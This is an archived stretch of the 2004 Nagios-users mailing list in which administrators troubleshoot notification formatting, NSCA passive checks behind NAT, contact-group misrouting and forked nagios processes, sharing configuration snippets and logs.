<20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> <20040326154523.6635.qmail@minnow.softflare.net> <406571D6.3030904@op5.se> <20040329015432.13151.qmail@minnow.softflare.net> Message-ID: Paul L. Allen softflare.com> writes: [Anyone who isn't Andreas should probably skip this, or die of boredom] Wow guys... it would appear this thread has degraded into a less than useful discussion on this topic. What do you say we steer it back to the topic of check_by_ssh for indirect checks? :) You both have valid points, however, the issue here isn't how to make a system 100% secure because that is a impossibility (aside from disconnecting the network cable... yadda yadda). Andreas, if you have indeed patched all those software packages please please submit those fixes to the appropriate package maintainers! I'm sure they would love to hear from you if they haven't already. I know I would because I use a few of the ones mentioned. I have successfully migrated my nagios installation completely to check_by_ssh from nrpe. I am very pleased because it allows me to have uniform and secure way of maintaining the installations over my windows and linux hosts. There doesn't seem to be much information dealing with indirect checks. [Just in case someone out there reading this doesn't know what indirect checks are they are checks that occur in external networks that are behind a firewall. One host much accept the checks and proxy them out to the internal network hosts.] A little googling will find a new different methods/hacks to this problem but no "official" howto on this topic even though there is an entire chapter in the nagios manual on indirect host and service checks. Thanks, Arnold ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jwhittington at excelorant.com Mon Mar 29 21:08:41 2004 From: jwhittington at excelorant.com (James) Date: Mon, 29 Mar 2004 14:08:41 -0500 Subject: FW: "Host In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A39A@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A39A@mismail2.ena.com> Message-ID: <1080587321.14503.3.camel@localhost.localdomain> If he's using the dag rpm builds etc may be elsewhere (like /etc/nagios).. James On Mon, 2004-03-29 at 12:59, Marc Powell wrote: > I haven't installed any of the sample configs recently and the full path > can vary depending on your method and location of installation but it's > usually found in /usr/local/nagios/etc/commands.cfg. You could always > grep for it: > > cd /usr/local/nagios/etc/; grep -iRle > "command_name.*host-notify-by-email" * > > -- > Marc > > On Monday, March 29, 2004 11:19 AM, Daniel.Mesimer at med.va.gov shared > with us: > > > Marc/All, > > > > Where would I look for that information? I can't seems to find a > > "notify-by-email" command to check its inputs, etc. > > > > Dan Mesimer > > Kansas City VA Medical Center > > Network Support > > > > > > -----Original Message----- > > From: Marc Powell [mailto:marc at ena.com] > > Sent: Monday, March 29, 2004 9:34 AM > > To: Daniel.Mesimer at med.va.gov; nagios-users at lists.sourceforge.net > > Subject: RE: [Nagios-users] FW: "Host > > > > > > On Monday, March 29, 2004 8:13 AM, Daniel.Mesimer at med.va.gov shared > > with > > us: > > > > > All, > > > > > > I am using Nagios 1.2 am the forwarded message here is what Nagios > > > is sending as its status update email. It is obviously not formatted > > > correctly (or at least not the way I expected it to be formatted). > > > Is there something I can change to make this behave more the way I > > > expect it to? > > > > > > Thanks > > > > > > Dan Mesimer > > > Kansas City VA Medical Center > > > Network Support > > > > > > > > > -----Original Message----- > > > From: nagios at vhakannms.kansas-city.med.va.gov > > > [mailto:nagios at vhakannms.kansas-city.med.va.gov] > > > Sent: Sunday, March 28, 2004 8:23 AM > > > To: alert at vhakannms.kansas-city.med.va.gov; ", > > > daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov > > > Subject: "Host > > > > > > > > > > > > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nState: > > ""DO > > > > > > WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128.4 > > 6nnD > > > ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" > > > > > > Take a look at your host/service notify-by-email commands and make > > sure that > > they are using whatever flags are necessary to enable interpretation > > of > > escape sequences for your OS. If the commands are using echo, you'll > > probably need to add a -e argument to it (i.e. echo -e "***** Nagios > > *****\n..."). I believe printf interprets escape sequences properly by > > default so you could use that instead of echo -e but you should > > consult the > > man pages as both options vary by OS and release. > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- _______________________________________________ James Whittington Systems Administrator Excelorant, LLC A TM Floyd Affiliate Company 1800 St. Julian Place P.O. Box 8263 Columbia, SC 29202 803.765.1310 | Phone 800.780.1170 | Toll Free 803.765.1431 | Fax jwhittington at excelorant.com _______________________________________________ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zhoue at algonquincollege.com Mon Mar 29 21:09:41 2004 From: zhoue at algonquincollege.com (emily zhou) Date: Mon, 29 Mar 2004 14:09:41 -0500 Subject: Error using NSclient: Return code of 139 is out of bound Message-ID: <40687475.7000407@algonquincollege.com> Hi, I have monitored NT/2000 using NSclient for CPU, Mem and Disk check for a long time, no problem at all until today I found error mesgs shown "Return code of 139 is out of bound" about one 2000 box. The puzzle is that Checking CPU for this box is working fine but Disk and Mem check have that error occurred. I have no idea what's going on, I restarted the Nagios daemon (running on Soaris 8) and NSclient agent, no any luck. I just wonder if someone could help, thanks a lot. Emily Zhou Unix Admin Algonquin College BEGIN-CANIT-VOTING-LINKS ------------------------------------------------------ Teach CanIt if this mail (ID 2694454) is spam: Spam: http://mailgate1.algonquincollege.com/canit/b.php?c=s&i=2694454&m=3710606120e2 Not spam: http://mailgate1.algonquincollege.com/canit/b.php?c=n&i=2694454&m=3710606120e2 Forget vote: http://mailgate1.algonquincollege.com/canit/b.php?c=f&i=2694454&m=3710606120e2 ------------------------------------------------------ END-CANIT-VOTING-LINKS From marc at ena.com Mon Mar 29 22:26:25 2004 From: marc at ena.com (Marc Powell) Date: Mon, 29 Mar 2004 14:26:25 -0600 Subject: New to list - searchable archive? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A39C@mismail2.ena.com> On Monday, March 29, 2004 1:38 PM, Cliff Riggs shared with us: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hello, > > I would first like to thank the developers of Nagios - I am > constantly impressed by its flexibility and power. I have just > recently joined this list and have a specific question on distributed > monitoring. I have visited the page at > http://sourceforge.net/mailarchive/forum.php?forum=nagios-users and I > was wondering if there were a searchable list hosted elsewhere (or > even if I'm missing a big "search" button on that page!). I have > spent some time going backwards in time on a day by day basis, but it > is not very efficient work I'm afraid. Left hand column, beneath the sourceFORGE.net logo and above 'SF.net Subscription'. Container is labeled 'Search' and the default option is 'This Mailing List'. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Mon Mar 29 22:13:56 2004 From: jhmartin at toger.us (Jason Martin) Date: Mon, 29 Mar 2004 12:13:56 -0800 (PST) Subject: New to list - searchable archive? In-Reply-To: <9F1D4C4C-81B8-11D8-ACCB-000A95686FB4@proteris.com> References: <9F1D4C4C-81B8-11D8-ACCB-000A95686FB4@proteris.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 There is a search button on the wide of the upper left side of that page, although SF's search function is of questionable value. - -Jason Martin On Mon, 29 Mar 2004, Cliff Riggs wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hello, > > I would first like to thank the developers of Nagios - I am constantly > impressed by its flexibility and power. I have just recently joined > this list and have a specific question on distributed monitoring. I > have visited the page at > http://sourceforge.net/mailarchive/forum.php?forum=nagios-users and I > was wondering if there were a searchable list hosted elsewhere (or even > if I'm missing a big "search" button on that page!). I have spent some > time going backwards in time on a day by day basis, but it is not very > efficient work I'm afraid. > > Thank you! > > Cliff > - -- > - -------------------------------------------- > Clifford Riggs > CCIE #9314, CISSP > - -------------------------------------------- > Proteris Group LLC > Information Security Consultants > Trust. Expertise. Results. > - -------------------------------------------- > www.proteris.com > - -------------------------------------------- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.3 (Darwin) > > iD8DBQFAaHsnJ3mHWY7troQRAjpbAJ9ZGH0vwNO9O/2tj5UmoQFgXw6IoQCgv2Dt > DH7kZPjTbO8zDSGiXgVGygI= > =eYnX > -----END PGP SIGNATURE----- > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAaIOJl2ODWuqVSBMRArQ0AJ450AHnM1BaiWKjm341YSN3g345MQCgnhkU /S7fBOAs9hkqb4emlkk2P5g= =aR8a -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From eduardoavila6 at hotmail.com Mon Mar 29 22:47:47 2004 From: eduardoavila6 at hotmail.com (Avila J...) Date: Mon, 29 Mar 2004 14:47:47 -0600 Subject: how i install nagios-statd??? Message-ID: An HTML attachment was scrubbed... URL: From matt.pounsett at cira.ca Mon Mar 29 22:53:55 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Mon, 29 Mar 2004 15:53:55 -0500 (EST) Subject: Notify-by-email on Solaris 8 doesn't populate the subject In-Reply-To: References: Message-ID: On Fri, 26 Mar 2004, Narayanasamy, Sundar wrote: > Hello, > > Whenever I get a warning or error notification from my Nagios installation on my Solaris box, it comes with empty subject line. How do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional Info:\n\n$OUTP > UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ > } > > Any help is appreciated. To get standard "mail" behavior on Solaris, use "mailx". -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From kpowell10 at hotmail.com Mon Mar 29 23:08:16 2004 From: kpowell10 at hotmail.com (Kyle Powell) Date: Mon, 29 Mar 2004 21:08:16 +0000 Subject: notifications problem - sending to the wrong contacts Message-ID: Hi all, I've been using Nagios for about a year now with no problems, but am suddenly having a notifications problem that I can't figure out. Nagios is sending notifications to the wrong people, even though everything looks right in the config files and in the Nagios web interface configs. This problem is occurring for many hosts, but I will attach samples of the config files for one host. This host is the only member of a test host group, and that host group is configured to send notifications to only one contact group. The contact group has two users - kpowell & czhang, but when the device is shut down, kpowell and two other users are notified! I can't figure out why this is happening or what change might have been made to cause this problem. One thread that looked like it might be related mentioned a possible problem with state retention - it is not being used. The same thread warned of the possibility of multiple instances of Nagios running - this also is not happening. Any insight into this problem would be greatly appreciated. Thanks in advance, Kyle ######################################## ### HOSTS.CFG ######################################## #AUS01381 host definition define host{ name AUS01381 alias AUS01381 host_name AUS01381 use template-server address 192.168.24.7 parents AUS34_SW1_2924 } ### HOSTGROUPS.CFG ######################################## # '.TEST' host group definition define hostgroup{ hostgroup_name .TEST alias .TEST contact_groups DUMMY_ADMINS members AUS01381 } ### CONTACTGROUPS.CFG ######################################## #'DUMMY_ADMINS' contact group definition define contactgroup{ contactgroup_name DUMMY_ADMINS alias Dummy Administrators members czhang kpowell } _________________________________________________________________ Find a broadband plan that fits. Great local deals on high-speed Internet access. https://broadband.msn.com/?pgmarket=en-us/go/onm00200360ave/direct/01/ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cliff at proteris.com Mon Mar 29 23:18:13 2004 From: cliff at proteris.com (Cliff Riggs) Date: Mon, 29 Mar 2004 16:18:13 -0500 Subject: Passive service checks not being accepted by primary? Message-ID: <96747D7A-81C6-11D8-ACCB-000A95686FB4@proteris.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, Thank you for the links to the (rather obvious I thought once it was pointed out to me...) search function of the archives! I apologize for cluttering the list with something so clear. I am having a problem with a primary Nagios server accepting passive service checks from a remote Nagios server behind a firewall that is performing NAT. The remote server is sending checks OK, and using tcpdump I can see the checks being accepted by the primary server inbound on the interface. The Nagios process however, does not update with the results of the passive check. I will try to provide the relevant information to describe the problem, please feel free to prompt me for more. Both servers are running FreeBSD 5.2.1, Nagios 1.2, and NSCA 2.4. All services have been installed from the port collection. NSCA is being run from inetd per the instructions in the README file in /usr/local/docs/nsca/README and the output from a "sockstat -4" shows inetd listening on port 5667/tcp. At this point, NSCA is not using any form of encryption(=0). The "allowed_hosts=" is set to the Public NAT IP address of the remote nagios server. I have the host to be monitored defined in both the primary and remote hosts.cfg file as follows: Primary: # 'TEST Router' host definition define host{ use generic-host ; Name of host template to use host_name cisco-test alias TEST Router address check_command check-host-alive parents 3660-router max_check_attempts 3 notification_interval 60 notification_period 24x7 notification_options d,u,r } Remote: # 'TEST Router' host definition define host{ use generic-host ; Name of host template to use host_name cisco-test alias TEST Router address 192.168.1.1 check_command check-host-alive parents 3660-router max_check_attempts 3 notification_interval 60 notification_period 24x7 notification_options d,u,r } The service is also defined on the primary as follows: Primary: # Service definition define service{ use generic-service ; Name of service template to use host_name cisco-test service_description PING active_checks_enabled 0 is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_ping!100.0,20%!500.0,60% } I have enabled debugging in the NSCA.cfg file, but I am not seeing any output either in the nagios.log file or normal syslog output. To the best of my ability, I have followed the instructions from http://nagios.sourceforge.net/docs/1_0/distributed.html knowing that they were a revision or two off, but seemed to work well. My suspicion is that this passage is particularly relevant to my problem: "The central server must have service definitions for all services that are being monitored by all the distributed servers. Nagios will ignore passive check results if they do not correspond to a service that has been defined.", yet I lack the skill to see where I'm falling down. Any help would be greatly appreciated. I can of course provide more configuration information if required. Thank you! Cliff - -- - -------------------------------------------- Clifford Riggs CCIE #9314, CISSP - -------------------------------------------- Proteris Group LLC Information Security Consultants Trust. Expertise. Results. - -------------------------------------------- www.proteris.com - -------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAaJKVJ3mHWY7troQRAuI2AJ4i9yTBCobUJIQ8/RXfZOijvc9/egCePECH 4O0IpGvGis/2pN4mbwGr/lQ= =OKKl -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Mon Mar 29 23:16:39 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Mon, 29 Mar 2004 16:16:39 -0500 Subject: (no subject) Message-ID: After a while I seem to get a bunch of nagios processes running? this is from a ps -fax output. I reloaded Nagios and got it to one. Is it normal to have more than one? 12053 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12055 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12057 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12066 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12068 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12070 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12078 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12082 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12084 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12121 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12146 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12148 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12155 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12159 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12196 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12198 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12205 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12209 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg Seems that when it's running checks I can also get more than one: 1599 ? S 60:28 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12349 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg 12350 ? S 0:00 \_ /usr/bin/perl -w /usr/lib/nagios/plugins/check_nt 12352 ? S 0:00 \_ /usr/sbin/ntpq -np 10.6.10.12 ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Mon Mar 29 23:34:31 2004 From: jhmartin at toger.us (Jason Martin) Date: Mon, 29 Mar 2004 13:34:31 -0800 (PST) Subject: (no subject) In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nagios fork()'s to execute service checks, so this is normal. - -Jason Martin On Mon, 29 Mar 2004, Jack Doyle wrote: > After a while I seem to get a bunch of nagios processes running? this > is from a ps -fax output. I reloaded Nagios and got it to one. Is it > normal to have more than one? > > 12053 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12055 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12057 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12066 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12068 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12070 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12078 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12082 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12084 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12121 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12146 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12148 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12155 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12159 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12196 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12198 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12205 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12209 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > > Seems that when it's running checks I can also get more than one: > > 1599 ? S 60:28 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12349 ? S 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg > 12350 ? S 0:00 \_ /usr/bin/perl -w > /usr/lib/nagios/plugins/check_nt > 12352 ? S 0:00 \_ /usr/sbin/ntpq -np 10.6.10.12 > > ----- > John N. Doyle, Network+ Certified Professional > Systems Operations Specialist > Lewis-Gale Clinic Information Systems > > 540.772.3669 > > >PGP Key Available: http://68.106.83.67:8082/pgp.txt > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAaJZxl2ODWuqVSBMRAgajAJ0dGZfAHRO3gLgGdxvF2EoNclR2NgCgk92I VTiCiIZxyEPbG+WJeoe5caQ= =IZwi -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 29 23:56:23 2004 From: marc at ena.com (Marc Powell) Date: Mon, 29 Mar 2004 15:56:23 -0600 Subject: Passive service checks not being accepted by primary? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A39E@mismail2.ena.com> On Monday, March 29, 2004 3:18 PM, Cliff Riggs shared with us: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hello, > > Thank you for the links to the (rather obvious I thought once it was > pointed out to me...) search function of the archives! I apologize > for cluttering the list with something so clear. > > I am having a problem with a primary Nagios server accepting passive > service checks from a remote Nagios server behind a firewall that is > performing NAT. The remote server is sending checks OK, and using > tcpdump I can see the checks being accepted by the primary server > inbound on the interface. The Nagios process however, does not update > with the results of the passive check. [snip] > > The service is also defined on the primary as follows: > > Primary: > # Service definition > define service{ > use generic-service ; > Name > of service template to use > > host_name cisco-test > service_description PING > active_checks_enabled 0 > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 3 > retry_check_interval 1 > contact_groups admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command > check_ping!100.0,20%!500.0,60% } > > I have enabled debugging in the NSCA.cfg file, but I am not seeing > any output either in the nagios.log file or normal syslog output. I believe it uses *.err and *.debug. Do you have those going anywhere in syslogd.conf or a general catch-all? > To the best of my ability, I have followed the instructions from > http://nagios.sourceforge.net/docs/1_0/distributed.html knowing that > they were a revision or two off, but seemed to work well. My > suspicion is that this passage is particularly relevant to my > problem: "The central server must have service definitions for all > services that are being monitored by all the distributed servers. > Nagios will ignore passive check results if they do not correspond to > a service that has been defined.", yet I lack the skill to see where > I'm falling down. > I'll bet you're on the right track. Let's slay the most obvious omission first as it may be really simple. Unless your 'generic-service' template on the central server has it, you've forgotten to tell Nagios to expect passive checks for this service -- passive_checks_enabled 1 passive_checks_enabled *: This directive is used to determine whether or not passive checks of this service are enabled. Values: 0 = disable passive service checks, 1 = enable passive service checks. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jws at lindy.stanford.edu Tue Mar 30 00:32:21 2004 From: jws at lindy.stanford.edu (Jim Stosick) Date: Mon, 29 Mar 2004 14:32:21 -0800 Subject: Host check notification problem References: <4062119C.F153065@lindy.stanford.edu> <20040325182718.GA8738@isite.net> <406368A3.C98DF312@lindy.stanford.edu> <20040327101223.GC25281@isite.net> Message-ID: <4068A3F5.AD81A492@lindy.stanford.edu> Joe Rhett wrote: > > Actually, I don't think (memory late at night?) that you should be getting > service notifications at all during the host downtime. This tells me that > your host is going down, then coming back up or going into an unknown > status. > > Use the web interface, bring the host down and then find out what status it > is going into. I suspect that it's going into an unknown status and that's > why service checks are still happening and why you're not getting host > notifications. > > (configuration looks fine, fyi) I don't get service notifications during the host down time, but I also don't get repeat host notifications during a long host down time. If a service is down while the host is up repeat service notifications are sent while the service is down. If the host is down host notifications are only sent when the host is detected as down and again when the host is detected as up. No repeat notifications are sent during the host down time. Below is the nagios log for the host across a shutdown and restart. The host was down for about an hour, so there is about an hour separating the two sets of log entries. In this case there is an additional notification anomaly in that when the host first came up the web server was down, so a host up notification was sent followed by a service down notification. When the web server came up Nagios recognized this but never sent a service up notification, though it did call the global service event handler and the service is listed as up in the web page. There is no notification_option or notification_period setting that would prevent sending the notification. [1080581300] HOST ALERT: sherpa;DOWN;SOFT;1;CRITICAL - Plugin timed out after 10 seconds [1080581300] GLOBAL HOST EVENT HANDLER: sherpa;DOWN;SOFT;1;notify-smarts [1080581312] HOST ALERT: sherpa;DOWN;SOFT;2;CRITICAL - Plugin timed out after 10 seconds [1080581312] GLOBAL HOST EVENT HANDLER: sherpa;DOWN;SOFT;2;notify-smarts [1080581323] HOST ALERT: sherpa;DOWN;HARD;3;CRITICAL - Plugin timed out after 10 seconds [1080581323] HOST NOTIFICATION: forsythe-sun-admin-mail;sherpa;DOWN;notify-forsythe-admin;CRITICAL - Plugin timed out after 10 seconds [1080581324] GLOBAL HOST EVENT HANDLER: sherpa;DOWN;HARD;3;notify-smarts [1080581325] SERVICE ALERT: sherpa;service test;CRITICAL;HARD;1;Socket timeout after 20 seconds [1080581325] GLOBAL SERVICE EVENT HANDLER: sherpa;service test;CRITICAL;HARD;1;notify-smarts [1080584402] HOST ALERT: sherpa;UP;HARD;1;PING OK - Packet loss = 0%, RTA = 2.00 ms [1080584402] HOST NOTIFICATION: forsythe-sun-admin-mail;sherpa;UP;notify-forsythe-admin;PING OK - Packet loss = 0%, RTA = 2.00 ms [1080584403] GLOBAL HOST EVENT HANDLER: sherpa;UP;HARD;1;notify-smarts [1080584404] SERVICE NOTIFICATION: forsythe-sun-admin-mail;sherpa;service test;CRITICAL;notify-forsythe-admin;Connection refused by host [1080584467] SERVICE ALERT: sherpa;service test;OK;HARD;1;HTTP ok: HTTP/1.1 200 OK - 3.540 second response time [1080584467] GLOBAL SERVICE EVENT 